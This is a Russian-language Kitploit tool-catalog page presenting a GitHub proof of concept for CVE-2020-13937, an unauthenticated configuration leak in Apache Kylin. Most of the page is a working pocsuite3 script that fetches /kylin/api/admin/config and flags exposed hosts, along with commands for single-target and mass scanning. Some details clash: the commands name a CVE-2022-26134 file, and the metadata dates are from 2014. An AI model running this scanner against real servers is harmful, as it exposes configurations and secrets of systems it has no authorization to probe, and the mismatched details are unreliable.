Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-13937 — Apache Kylin имеет restful api, который раскрывает информацию о конфигурации без какой-либо аутентификации. | Kitploit
Инструменты/GitHubGitHub/kailing0220/cve-2020-13937
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеНеправильная Конфигурация
GitHubkailing0220/cve-2020-13937

CVE-2020-13937

Apache Kylin имеет restful api, который раскрывает информацию о конфигурации без какой-либо аутентификации.

Репозиторий
13 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-13937

1. Описание уязвимости:

Apache Kylin имеет restful API, который предоставляет информацию о конфигурации без какой-либо аутентификации.

2. Воспроизведение

Сравнение с уязвимостью

image.png

Сравнение без уязвимости

image.png

Написание PoC

image.png

image.png

Проверка правильного URL: pocsuite -r CVE-2022-26134.py -u url

image-20221018222425092

Проверка неверного URL: pocsuite -r CVE-2022-26134.py -u url

image-20221018222400312

Массовое сканирование: pocsuite -r CVE-2022-26134.py -u url.txt

image-20221018222334282

3. Код скрипта

root@kitploit:~
from collections import OrderedDict
from pocsuite3.api import (
    Output,
    POCBase,
    POC_CATEGORY,
    register_poc,
    requests,
    VUL_TYPE,
    get_listener_ip,
    get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
    OptString,
    OptDict,
    OptIP,
    OptPort,
    OptBool,
    OptInteger,
    OptFloat,
    OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD

# Это просто импорт модулей, некоторые используются, некоторые серые — это те, которые не используются из модуля

class DemoPOC(POCBase):
    vulID = "1571"  # ssvid ID, если вы одновременно отправляете уязвимость и PoC, укажите 0
    version = "1"  # По умолчанию 1
    author = "kailing0220"  # Имя автора PoC
    vulDate = "2014-10-16"  # Дата публикации уязвимости, если неизвестно, укажите сегодня
    createDate = "2014-10-16"  # Дата написания PoC
    updateDate = "2014-10-16"  # Дата обновления PoC, по умолчанию совпадает с датой создания
    references = ["http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"]  # Источники уязвимости, для 0day не пишите
    name = "CVE-2020-13937 PoC"  # Название PoC
    appPowerLink = "http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"  # Адрес страницы производителя уязвимости
    appName = "CVE-2020-13937"  # Название уязвимого приложения
    appVersion = "all"  # Затрагиваемые версии
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS  # Тип уязвимости, см. таблицу типов
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    samples = []  # Примеры тестов, т.е. сайты, успешно протестированные с помощью PoC
    install_requires = []  # Зависимости от сторонних модулей PoC, по возможности не используйте сторонние модули, при необходимости см. "Инструкцию по зависимостям сторонних модулей PoC"
    desc = """
            Apache Kylin имеет restful API, который предоставляет информацию о конфигурации без какой-либо аутентификации.
        """  # Краткое описание уязвимости
    pocDesc = """
            описание использования poc
        """  # Описание использования PoC
    # Определение различных переменных, описание PoC

    def _check(self):
        # Код проверки уязвимости
        headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

        result = []
        # Обработка исключений, на случай если сайт недоступен, запрос не проходит, код выдаёт ошибку
        try:
            url = self.url.strip() + "/kylin/api/admin/config"  # self.url — это значение параметра -u, который вы указали
            res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
            # Определяем, существует ли уязвимость
            if res.status_code == 200 and 'config' in res.text:
                result.append(url)
        except Exception as e:
            print(e)
        # Пара с try...except, в итоге код выполнится в любом случае, независимо от ошибок
        finally:
            return result

    def _verify(self):
        # Режим проверки, вызывает код проверки
        result = {}
        res = self._check()  # res — это список результатов
        if res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Info'] = self.name
            result['VerifyInfo']['vul_url'] = self.url
            result['VerifyInfo']['vul_detail'] = self.desc
        return self.parse_verify(result)

    def _attack(self):
        # Режим атаки, просто вызывает режим проверки
        return self._verify()

    def parse_verify(self, result):
        # Разбор проверки, вывод
        output = Output(self)
        # Определяем наличие уязвимости по логическому значению result
        if result:
            output.success(result)
        else:
            output.fail('Target is not vulnerable')
        return output


def other_fuc():
    pass


def other_utils_func():
    pass


# Регистрация класса DemoPOC
register_poc(DemoPOC)
Скачать инструмент